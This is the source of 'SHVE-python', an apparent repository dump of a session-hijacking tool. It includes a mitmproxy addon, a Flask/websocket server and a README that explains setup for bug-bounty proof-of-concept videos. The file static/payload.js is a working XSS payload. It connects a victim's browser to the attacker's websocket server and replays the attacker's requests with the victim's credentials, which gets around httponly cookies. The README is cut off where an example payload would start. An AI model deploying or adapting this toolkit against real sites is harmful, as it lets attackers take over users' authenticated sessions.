27 |
--------------------------------------------------------------------------------
/config.json:
--------------------------------------------------------------------------------
1 | {
2 | "proxy": {
3 | "interface": "0.0.0.0",
4 | "port": 8080,
5 | "do_not_proxify": {
6 | "extensions": [
7 | "png",
8 | "js",
9 | "css",
10 | "jpg",
11 | "svg",
12 | "gif",
13 | "ico",
14 | "wof"
15 | ],
16 | "sec_fetch_dest": [
17 | "image",
18 | "font",
19 | "script",
20 | "style"
21 | ],
22 | "urls": [
23 |
24 | ],
25 | "domains": [
26 |
27 | ],
28 | "force_proxify_on_errors": true
29 | }
30 | },
31 | "web_server": {
32 | "interface": "localhost",
33 | "ip_address": "127.0.0.1",
34 | "port": 5000
35 | },
36 | "websocket_server": {
37 | "interface": "0.0.0.0",
38 | "ip_address": "127.0.0.1",
39 | "port": 8888
40 | }
41 | }
--------------------------------------------------------------------------------
/certificates/openssl-webserver.conf:
--------------------------------------------------------------------------------
1 | [ req ]
2 | default_bits = 2048
3 | encrypt_key = no
4 | default_md = sha256
5 | default_keyfile = cakey_webserver.pem
6 | distinguished_name = req_distinguished_name
7 | policy = policy_match
8 | req_extensions = req_ext
9 |
10 | # For the CA policy
11 | [ policy_match ]
12 | countryName = optional
13 | stateOrProvinceName = optional
14 | organizationName = optional
15 | organizationalUnitName = optional
16 | commonName = supplied
17 | emailAddress = optional
18 |
19 | [ req_distinguished_name ]
20 | countryName = Country Name (2 letter code)
21 | countryName_default = FR
22 | countryName_min = 2
23 | countryName_max = 2
24 | stateOrProvinceName = State or Province Name (full name) ## Print this message
25 | stateOrProvinceName_default = SHVE-python-webserver ## This is the default value
26 | localityName = Locality Name (eg, city) ## Print this message
27 | localityName_default = SHVE-python-webserver ## This is the default value
28 | 0.organizationName = Organization Name (eg, company) ## Print this message
29 | 0.organizationName_default = SHVE-python ## This is the default value
30 | organizationalUnitName = Organizational Unit Name (eg, section) ## Print this message
31 | organizationalUnitName_default = SHVE-python-webserver ## This is the default value
32 | commonName = Common Name (eg, your name or your server hostname) ## Print this message
33 | commonName_max = 64
34 | commonName_default = localhost
35 | emailAddress = Email Address ## Print this message
36 | emailAddress_max = 64
37 | emailAddress_default = SHVE-python-webserver
38 |
39 | [ req_ext ]
40 | subjectAltName = DNS: localhost:5000
--------------------------------------------------------------------------------
/certificates/openssl-proxy.conf:
--------------------------------------------------------------------------------
1 | [ req ]
2 | default_bits = 2048
3 | encrypt_key = no
4 | default_md = sha256
5 | default_keyfile = cakey_proxy.pem
6 | distinguished_name = req_distinguished_name
7 | policy = policy_match
8 | x509_extensions = v3_ca
9 |
10 | # For the CA policy
11 | [ policy_match ]
12 | countryName = optional
13 | stateOrProvinceName = optional
14 | organizationName = optional
15 | organizationalUnitName = optional
16 | commonName = supplied
17 | emailAddress = optional
18 |
19 | [ req_distinguished_name ]
20 | countryName = Country Name (2 letter code)
21 | countryName_default = FR
22 | countryName_min = 2
23 | countryName_max = 2
24 | stateOrProvinceName = State or Province Name (full name) ## Print this message
25 | stateOrProvinceName_default = SHVE-python-proxy ## This is the default value
26 | localityName = Locality Name (eg, city) ## Print this message
27 | localityName_default = SHVE-python-proxy ## This is the default value
28 | 0.organizationName = Organization Name (eg, company) ## Print this message
29 | 0.organizationName_default = SHVE-python ## This is the default value
30 | organizationalUnitName = Organizational Unit Name (eg, section) ## Print this message
31 | organizationalUnitName_default = SHVE-python-proxy ## This is the default value
32 | commonName = Common Name (eg, your name or your server hostname) ## Print this message
33 | commonName_max = 64
34 | commonName_default = SHVE-python-proxy
35 | emailAddress = Email Address ## Print this message
36 | emailAddress_max = 64
37 | emailAddress_default = SHVE-python-proxy
38 |
39 | [ v3_ca ]
40 | subjectKeyIdentifier = hash
41 | authorityKeyIdentifier = keyid:always,issuer
42 | basicConstraints = critical,CA:true
43 | keyUsage = critical, keyCertSign
44 | nsComment = "OpenSSL Generated Certificate"
--------------------------------------------------------------------------------
/proxy.py:
--------------------------------------------------------------------------------
1 | #!/bin/env python
2 | import asyncio
3 | from mitmproxy import options
4 | from mitmproxy.tools import dump
5 | from mitmproxy.http import Headers
6 |
7 | from base64 import b64decode, b64encode
8 | import json
9 |
10 |
11 | class MITMparams:
12 | def __init__(self):
13 | self.config = {}
14 | self.clients = {}
15 |
16 | def set_config(self, config):
17 | self.config = config
18 |
19 | def set_clients(self, clients):
20 | self.clients = clients
21 |
22 | def request(self, flow):
23 | port = "" if flow.request.port == 443 else ':' + str(flow.request.port)
24 | url = flow.request.scheme + "://" + flow.request.host + port + flow.request.path
25 | try:
26 | if (url not in self.config["proxy"]["do_not_proxify"]["urls"] and flow.request.host + port not in self.config["proxy"]["do_not_proxify"]["domains"] and flow.request.headers["Sec-Fetch-Dest"] and flow.request.headers["Sec-Fetch-Dest"] not in self.config["proxy"]["do_not_proxify"]["sec_fetch_dest"]) or url[-12:] == "&proxyforced":
27 | if url[-12:] == "&proxyforced":
28 | url = url[:-12]
29 | _req_cookies_str = "full_url=" + url
30 | if "Referer" in flow.request.headers and flow.request.headers["Referer"].split('/')[2] + port not in self.config["proxy"]["do_not_proxify"]["domains"]:
31 | splitted = flow.request.headers["Referer"].split('/')
32 | flow.request.path = self.clients[splitted[0] + "//" + splitted[2]]
33 | elif "Origin" in flow.request.headers:
34 | flow.request.path = self.clients[flow.request.headers["Origin"]]
35 | else:
36 | flow.request.path = self.clients[flow.request.scheme + "://" + flow.request.host + port]
37 | if flow.request.text:
38 | flow.request.text = b64encode(bytes.fromhex(flow.request.text.encode('latin-1').hex())).decode('utf-8')
39 |
40 | flow.request.host = self.config["web_server"]["ip_address"]
41 | flow.request.port = self.config["web_server"]["port"]
42 |
43 | flow.request.headers["cookie"] = _req_cookies_str
44 | except Exception as e:
45 | print(f"Exception in request : {e}", flush=True)
46 |
47 |
48 | def response(self, flow):
49 | try:
50 | if "x-content-type-options" in flow.response.headers:
51 | del flow.response.headers["x-content-type-options"]
52 | if "Content-Type" not in flow.response.headers:
53 | flow.response.headers["Content-Type"] = "text/html"
54 | if "mitmproxy_override" in flow.response.headers and flow.response.headers["mitmproxy_override"]:
55 | headers = json.loads(flow.response.headers["mitmproxy_override"])
56 | new_headers = Headers()
57 | for i in headers:
58 | if i not in ["content-encoding"]:
59 | new_headers[i] = headers[i]
60 | flow.response.headers = new_headers
61 | flow.response.content = b64decode(flow.response.content)
62 | elif 300 < flow.response.status_code < 500 and self.config["proxy"]["do_not_proxify"]["force_proxify_on_errors"]:
63 | port = "" if flow.request.port == 443 else ':' + str(flow.request.port)
64 | path = flow.request.path
65 | if path[0] != "/":
66 | path = '/' + path
67 | url = flow.request.scheme + "://" + flow.request.host + port + path
68 | flow.response.status_code = 301
69 | flow.response.headers["Location"] = url + "&proxyforced"
70 |
71 |
72 | except Exception as e:
73 | print(f"Exception in response : {e}",flush=True)
74 |
75 |
76 | async def start_proxy(params, config):
77 | opts = options.Options(listen_host=config["proxy"]["interface"], listen_port=config["proxy"]["port"], ssl_insecure=True, confdir="./certificates", ssl_verify_upstream_trusted_confdir="./certificates", ssl_verify_upstream_trusted_ca="./certificates/mitmproxy-ca.pem")
78 |
79 | master = dump.DumpMaster(
80 | opts,
81 | with_termlog=False,
82 | with_dumper=False,
83 | )
84 | master.addons.add(params)
85 |
86 | await master.run()
87 | return master
--------------------------------------------------------------------------------
/server.py:
--------------------------------------------------------------------------------
1 | # This file contains the server which maintains a websocket persistant connexion
2 | # with the client.
3 |
4 | # It also is a HTTP server to recieve the HTTP requests from the proxy
5 | # and convert them to orders to the client
6 |
7 | import asyncio
8 | import websockets
9 | from flask import Flask, request, Response, render_template
10 | from werkzeug.routing import Rule
11 | import threading
12 | import random
13 | import string
14 | import json
15 | from proxy import start_proxy, MITMparams
16 |
17 | # Config part
18 |
19 | config = {}
20 | mitm_params = MITMparams()
21 |
22 | # Websocket part
23 |
24 | CLIENTS = {}
25 |
26 | def generate_random_string(length):
27 | letters = string.ascii_lowercase
28 | return ''.join(random.choice(letters) for i in range(length))
29 |
30 | def get_client_id():
31 | # Return a ID of 10 character, which is not currently set inside CLIENTS
32 | while True:
33 | result_str = generate_random_string(10)
34 | if result_str not in CLIENTS:
35 | break
36 | return result_str
37 |
38 | async def handle_connexion(websocket):
39 | id_connection = get_client_id()
40 | CLIENTS[id_connection] = {"ws": websocket, "commands": {}, "origin": websocket.origin}
41 | set_clients()
42 | try:
43 | async for _ in websocket:
44 | if (_):
45 | resp = json.loads(_)
46 | CLIENTS[id_connection]["commands"][resp["id_request"]] = resp
47 |
48 | pass
49 | except Exception as e:
50 | print(f"Exception in websocket connexion : {e}", flush=True)
51 | finally:
52 | del CLIENTS[id_connection]
53 | set_clients()
54 | print(f"Client {id_connection} disconnected", flush=True)
55 |
56 | async def websockets_server():
57 | async with websockets.serve(handle_connexion, config["websocket_server"]["interface"], config["websocket_server"]["port"], max_size=3000000000):
58 | await asyncio.Future() # run forever
59 |
60 | async def sendCommand(websocket_client_id, command):
61 | try:
62 | CLIENTS[websocket_client_id]["response"] = ""
63 | await CLIENTS[websocket_client_id]["ws"].send(json.dumps(command))
64 | while command["id_request"] not in CLIENTS[websocket_client_id]["commands"]:
65 | pass
66 | resp = CLIENTS[websocket_client_id]["commands"][command["id_request"]]
67 |
68 | del CLIENTS[websocket_client_id]["commands"][command["id_request"]]
69 | return resp
70 |
71 | except websockets.ConnectionClosed:
72 | pass
73 |
74 | def run_websocket_server():
75 | asyncio.run(websockets_server())
76 |
77 | # Webserver part
78 |
79 | app = Flask(__name__, template_folder="html/templates")
80 |
81 | # The following line allow the usage of any HTTP methods
82 | app.url_rule_class = lambda rule, **kwargs: Rule(rule, **{**kwargs, 'methods': None})
83 |
84 | @app.route('/', defaults={'path': ''})
85 | @app.route("/")
86 | def default_route():
87 | return render_template("main.html", sessions=CLIENTS)
88 |
89 |
90 | @app.route('/')
91 | async def proxy_route(path):
92 | proxified_request = {
93 | "id_request": generate_random_string(20),
94 | "url": request.cookies.get('full_url'),
95 | "method": request.method,
96 | "sendRequest": True,
97 | "data": request.get_data().decode('utf-8'),
98 | "headers": dict(request.headers)
99 | }
100 | websocket_client = path
101 | try:
102 | proxified_response = await sendCommand(websocket_client_id=websocket_client, command=proxified_request)
103 | if "headers" in proxified_response:
104 | headers = proxified_response["headers"]
105 | else:
106 | headers = {}
107 | if "data" not in proxified_response:
108 | resp = Response({})
109 | else:
110 | resp = Response(proxified_response["data"])
111 | tunnelled_headers = {}
112 | tunnelled_headers["mitmproxy_override"] = json.dumps(headers)
113 | resp.headers = tunnelled_headers
114 | return resp
115 | except Exception as e:
116 | print(f"Exception in route proxy_route : {e}", flush=True)
117 |
118 | # Proxy part
119 |
120 | def start_proxy_server():
121 | asyncio.run(start_proxy(mitm_params, config))
122 |
123 | def get_whitelisted_domains():
124 | if config["web_server"]["ip_address"] in ["127.0.0.1", "localhost"]:
125 | whitelisted_urls = [
126 | f'127.0.0.1:{config["web_server"]["port"]}',
127 | f'localhost:{config["web_server"]["port"]}'
128 | ]
129 | else:
130 | whitelisted_urls = [f'{config["web_server"]["ip_address"]}:{config["web_server"]["port"]}']
131 | if config["web_server"]["port"] == 443:
132 | for i in whitelisted_urls:
133 | whitelisted_urls.append(i.split(':')[0])
134 | return whitelisted_urls
135 |
136 | def set_clients():
137 | result = {}
138 | for i in CLIENTS:
139 | result[CLIENTS[i]["origin"]] = i
140 | mitm_params.set_clients(result)
141 |
142 | # Main part
143 |
144 | if __name__ == "__main__":
145 | try:
146 | with open('config.json') as config_file:
147 | file_contents = config_file.read()
148 |
149 | config = json.loads(file_contents)
150 |
151 | # websocket
152 | websocket_thread = threading.Thread(target=run_websocket_server)
153 | websocket_thread.daemon = True
154 | websocket_thread.start()
155 |
156 | # proxy
157 | config["proxy"]["do_not_proxify"]["domains"] = get_whitelisted_domains()
158 | mitm_params.set_config(config)
159 | proxy_thread = threading.Thread(target=start_proxy_server)
160 | proxy_thread.daemon = True
161 | proxy_thread.start()
162 |
163 | # webserver
164 | app.run(ssl_context=('./certificates/CA_webserver.crt', './certificates/cakey_webserver.pem'), port=config["web_server"]["port"], host=config["web_server"]["interface"])
165 | except (KeyboardInterrupt, SystemExit):
166 | print('Received keyboard interrupt, quitting threads.', flush=True)
167 |
--------------------------------------------------------------------------------
/static/payload.js:
--------------------------------------------------------------------------------
1 | // This JS file is a copy of the one on this project : https://github.com/doyensec/Session-Hijacking-Visual-Exploitation/blob/master/server/public/client.js
2 | // A few adjustments has been made in order to work with almost every type of requests
3 |
4 | let listening = "off";
5 | let lastSent = 0;
6 | let storedDOM;
7 | const MAX_MESSAGES_PER_SECOND = 30;
8 |
9 | unsafeHeaders = ["accept-charset","accept-encoding","access-control-request-headers","access-control-request-method","connection","content-length","cookie","cookie2","date","dnt","expect","host","keep-alive","origin","referer","set-cookie","te","trailer","transfer-encoding","upgrade","via","x-http-method","x-http-method-override","x-method-override", "user-agent"]
10 |
11 | function isSafeHeader(header) {
12 | if (["sec-","proxy-"].includes(header.slice(0,4).toLowerCase())) {
13 | return false
14 | }
15 | if (unsafeHeaders.includes(header.toLowerCase())) {
16 | return false
17 | }
18 | return true
19 | }
20 |
21 | function getPathTo(element) {
22 | if (element.id!=='')
23 | return 'id("'+element.id+'")';
24 | if (element===document.body)
25 | return element.tagName;
26 |
27 | let ix= 0;
28 | const siblings= element.parentNode.childNodes;
29 | for (let i= 0; i {
41 | document.documentElement.innerHTML = '';
42 | const iframe = document.createElement('iframe');
43 | iframe.src = window.location.href;
44 | iframe.style.cssText = 'position:absolute;top:0;left:0;width:100%;height:100%;border:none;margin:0;padding:0;overflow:hidden;z-index:99999';
45 | document.documentElement.appendChild(iframe);
46 |
47 | iframe.addEventListener('load', () => {
48 | resolve(iframe);
49 | });
50 |
51 | });
52 | }
53 |
54 |
55 | function checkSameOrigin(url) {
56 | const locationOrigin = new URL(window.location.href);
57 | console.log(url)
58 | const urlOrigin = new URL(url);
59 |
60 | if (locationOrigin.protocol !== urlOrigin.protocol || locationOrigin.hostname !== urlOrigin.hostname || locationOrigin.port !== urlOrigin.port) {
61 | return false;
62 | }
63 |
64 | const locationDomainParts = locationOrigin.hostname.split('.').reverse();
65 | const urlDomainParts = urlOrigin.hostname.split('.').reverse();
66 |
67 | for (let i = 0; i < Math.min(locationDomainParts.length, urlDomainParts.length); i++) {
68 | if (locationDomainParts[i] !== urlDomainParts[i]) {
69 | return false;
70 | }
71 | }
72 |
73 | return true;
74 | }
75 |
76 | async function checkCorsHeaders(url, headers) {
77 | try {
78 | const response = await fetch(url, {
79 | method: 'OPTIONS',
80 | mode: 'cors',
81 | headers: {
82 | 'Access-Control-Request-Method': 'GET',
83 | 'Access-Control-Request-Headers': headers.join(','),
84 | },
85 | });
86 |
87 | if (response.ok) {
88 | const allowedOrigin = response.headers.get('Access-Control-Allow-Origin');
89 | const allowedHeaders = response.headers.get('Access-Control-Allow-Headers');
90 | return {
91 | allowedOrigin: allowedOrigin === window.location.origin,
92 | allowedHeaders: allowedHeaders ? allowedHeaders.split(',').map((header) => header.trim().toLowerCase()) : [],
93 | };
94 | }
95 | } catch (error) {
96 | console.error('Error sending preflight request:', error);
97 | }
98 |
99 | return { allowedOrigin: false, allowedHeaders: [] };
100 | }
101 |
102 | async function sendHttpRequest(data, ws) {
103 | const sameOrigin = checkSameOrigin(data.url);
104 | let allowedOrigin = false;
105 | let allowedHeaders = [];
106 |
107 | if (!sameOrigin) {
108 | const corsHeaders = await checkCorsHeaders(data.url, Object.keys(data.headers || {}));
109 | allowedOrigin = corsHeaders.allowedOrigin;
110 | allowedHeaders = corsHeaders.allowedHeaders;
111 | }
112 |
113 | if (sameOrigin || allowedOrigin) {
114 | const xhr = new XMLHttpRequest();
115 | xhr.responseType = "arraybuffer";
116 |
117 | xhr.onreadystatechange = () => {
118 | if (xhr.readyState === XMLHttpRequest.DONE) {
119 | let responseData;
120 | // responseData = xhr.responseText;
121 | resp = new Uint8Array(xhr.response)
122 | responseData = ""
123 | for (let i=0; i {
128 | const [key, value] = header.split(': ');
129 | if (key) {
130 | responseHeaders[key] = value;
131 | }
132 | });
133 | ws.send(JSON.stringify({
134 | id_request: data.id_request,
135 | data: btoa(responseData),
136 | headers: responseHeaders,
137 | status_code: xhr.status,
138 | }));
139 | }
140 | };
141 | xhr.onerror = () => {
142 | ws.send(JSON.stringify({ error: 'Invalid Security Context', statusCode: 0 , id_request: data.id_request}));
143 | };
144 | xhr.open(data.method, data.url);
145 | xhr.withCredentials = true;
146 |
147 | if (!sameOrigin) {
148 | Object.entries(data.headers || {}).forEach(([header, value]) => {
149 | if (allowedHeaders.includes(header.toLowerCase()) && isSafeHeader(header)) {
150 | xhr.setRequestHeader(header, value);
151 | }
152 | });
153 | } else{
154 | Object.entries(data.headers || {}).forEach(([header, value]) => {
155 | if (isSafeHeader(header)) {
156 | xhr.setRequestHeader(header, value);
157 | }
158 | });
159 | }
160 | if (data.method === 'POST' || data.method === 'PUT') {
161 | body = atob(data.data);
162 | binaryData = new Uint8Array(body.length);
163 | for (let i=0; i {
180 | ws.onmessage = (event) => {
181 | const message = JSON.parse(event.data);
182 | if (message.sendRequest) {
183 | console.log("Sending HTTP request")
184 | sendHttpRequest(message, ws);
185 | }
186 | };
187 | });
188 | }
189 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Session Hijacking Visual Exploitation - Python Version
2 |
3 | ## What is this project ?
4 |
5 | This project is inspired by [SHVE by doyensec](https://blog.doyensec.com/2023/08/31/introducing-session-hijacking-visual-exploitation.html), but with a few modifications.
6 |
7 | The goal of the project is to be able to exploit an XSS vulnerability more visually. It proxify every requests made by the attacker and play them inside the victim's browser using XHR. This way, even if the cookies are `httponly`, you can still exploit the victim's session.
8 |
9 | ## Why this project ?
10 |
11 | In self-hosted bug bounty programs, it is really common that the program manager close a report because the XSS you reported seems to be harmless. In order to alert the program manager, you generally need to make a short video showing your payload in action, what it did and what you can do with it.
12 |
13 | This can be really frustating to do, especially since that your video has to be short enough so that the program manager does not feel that he is wasting his time (already experienced it, itis really frustrating).
14 |
15 | With this project, you turn your XSS without session cookie stealing into a visual XSS which looks just like an XSS with session cookie stealing
16 |
17 | ## What are the requirements ?
18 |
19 | + Target website must not have CSP value for `connect-src` (or `default-src`)
20 | + Target website sould have at least CSP value `frame-ancestors` to self
21 | + You will not be able to do anything more than your XSS. The only thing this project adds is the visual interaction of the attacker. So if your XSS cannot trigger anything because of a correct CORS policy or CSP rules, this project won't help you.
22 |
23 | Note that the second point is not required, but if not present the connexion will be closed everytime the client changes of page. So it is not viable as a complete exploit, but it's okay for a video POC. Javascript payload should be adapted if you want to do this anyway.
24 |
25 | ## Why re-creating a project instead of contributing to the original ?
26 |
27 | Because of personal opinions :
28 | + **I do not like nodeJS for tooling** : a lot of dependencies, not installed by default on a lot of distros (unlike python)
29 | + **I do not need a "Visual Mode"** : I admit Visual Mode is very funny, and a bit impressive regarding how it works, but in a bug bounty perspective, I don't consider it very powerful (unlike Interactive mode)
30 | + **I want to customize my tool however I want, without making a PR** : "Then why didn't you just forked the project ?" --> Read the first item of this list
31 | + **I do not like the "Custom Browser" of the original project** : I already have a browser on my computer, you already have a browser on your computer, everyone already have a browser on his/her computer. Why re-creating one, which does not have all the awesome devtools ?
32 |
33 | ## What are the differences between this project and the original ?
34 |
35 | The pros (according to me) :
36 |
37 | + This project is written in python, and has only 3 libs inside requirements.txt
38 | + On original project, when loading huge files (.js, .jpg, .png, etc...), the request does not get proxified and are made directly from the attacker computer. This makes the pages load a lot faster, BUT sometimes you do not want to do that. In this project, this is an option, and you can list which files you want to proxify.
39 | + If you load a .jpg file, but to get the file you need client authentication, in the original project it doesn't work. On this project, you can force proxification if a request get a bad answer : you try to load huge content (images, javascript) without proxification to speed up the page loading, but if you need an authentication, these requests are automatically proxified.
40 | + A few bug correction
41 |
42 | The cons :
43 |
44 | + This project does not have a "visual mode"
45 | + No authentication : I only use it for pocs for bug bounty on my own computer. You should not run it on your server over the internet since there is not any authentication for the hacker.
46 | + No WSS : I suppose it would not be hard to add, but it works well with WS, and it is not an issue since I am only using this on my localhost.
47 | + Probably bugs that the original version does not have. But I don't know, it seems to be working pretty well.
48 | + My project is awefully designed (I am not a dev, and remember it is only here to shoot POC videos). It should not handle more than one connexion on the same domain name. But I can't see any legal scenario in which you want to handle multiple connexion on the same website ;)
49 |
50 |
51 | # Installation
52 |
53 | ## Step 1 : Dependencies
54 |
55 | You need to install python3 on your computer.
56 |
57 | Then, you need to create a venv using python. Go inside the project directory.
58 |
59 | ### On Linux
60 |
61 | `python -m venv env`
62 |
63 | `source env/bin/activate`
64 |
65 | `pip install -R requirements.txt`
66 |
67 | ### On Windows
68 |
69 | You need to have python and pip install and added to your `PATH` environnement variable.
70 |
71 | `python -m venv env`
72 |
73 | If you are using cmd : `env\Scripts\activate.bat`
74 |
75 | Else, if you are using Powershell : `env\Scripts\Activate.ps1`
76 |
77 | `pip install -R requirements.txt`
78 |
79 | ## Step 2 : Generate the CA
80 |
81 | ### Proxy CA
82 |
83 | Since the attacker needs to proxify his requests, we need an Certificate authority able to sign certificates on the fly in order to not break the HTTPS protocol. Here is how to generateand use it :
84 |
85 | `cd certificates`
86 |
87 | `openssl req -config openssl-proxy.conf -newkey rsa -x509 -days 365 -out CA_proxy.crt`
88 |
89 | You can press enter to leave the default values (recommanded).
90 |
91 | On linux : `cat cakey_proxy.pem CA_proxy.crt > mitmproxy-ca.pem`
92 |
93 | ### Webserver certificate
94 |
95 | `cd certificates`
96 |
97 | Then, generate the certificate for the webserver :
98 |
99 | `openssl req -config openssl-webserver.conf -newkey rsa -x509 -days 365 -out CA_webserver.crt`
100 |
101 | You can press enter to leave the default values (recommanded).
102 |
103 |
104 | ## Step 3 : Add the CA to browser
105 |
106 | You now need to add both of the certificate to the attacker browser.
107 |
108 | ### On Firefox :
109 |
110 | Settings --> Certificates --> View certificates --> Authorities --> Import certificate
111 |
112 | Then, select the `CA_proxy.crt` file. **Make sure to tick the box "Trust this CA to identify websites"**
113 |
114 | If you want to delete it afterward, delete both of the certificates under "SHVE-python".
115 |
116 | ### On Chromium :
117 |
118 | Settings --> Security --> Manage certificates --> Authorities --> Import
119 |
120 | Then, select the `CA_proxy.crt` file. **Make sure to tick the box "Trust this certificate for identifying websites"**
121 |
122 | If you want to delete it afterward, delete both of the certificates under "org-SHVE-python".
123 |
124 |
125 | # How to use
126 |
127 | ## Configuration
128 |
129 | The file `config.json` contains a working configuration. You can edit it if you want. Here are a few things to know :
130 | + `proxy.do_not_proxify.extensions` : when hacker is making a request ending by one of the extensions listed, the request will not be followed to the victim : it will be made directly from the computer of the attacker in order to win time
131 | + `proxy.do_not_proxify.sec_fetch_dest` : same thing that extensions, but for client header `Sec-Fetch-Dest`. Useful for APIs loading file without extensions inside the path for example.
132 | + `proxy.do_not_proxify.domains` : same thing, but for domains
133 | + `proxy.do_not_proxify.urls` : same thing, but for specific URLs
134 | + `proxy.do_not_proxify.force_proxify_on_errors` : If a non-proxified request gets an answer between 300 and 500, it will replay the request but will force it to go through the client browser. It is usefull when some files needs an authentification to be loaded.
135 |
136 | ## Running
137 |
138 | First, start the server : `python server.py`
139 |
140 | You need to configure a proxy inside of the attacker browser. I strongly recommand using [PwnFox](https://github.com/yeswehack/PwnFox) on Firefox, but you can also configure your proxy manually inside firefox parameters.
141 |
142 | Through this proxy, you need to go to the URL of the web server that you configured (`https://localhost:5000` by default). Do not forget the `https://`. You should get a security warning, because you are using a self-signed certificate, but you can continue anyway.
143 |
144 | Then, trigger your XSS on the victim's browser. Of course, do not proxify the victim's browser : in a real life situation, the victim should not have any configuration to make. Just trigger the XSS with this payload for example : `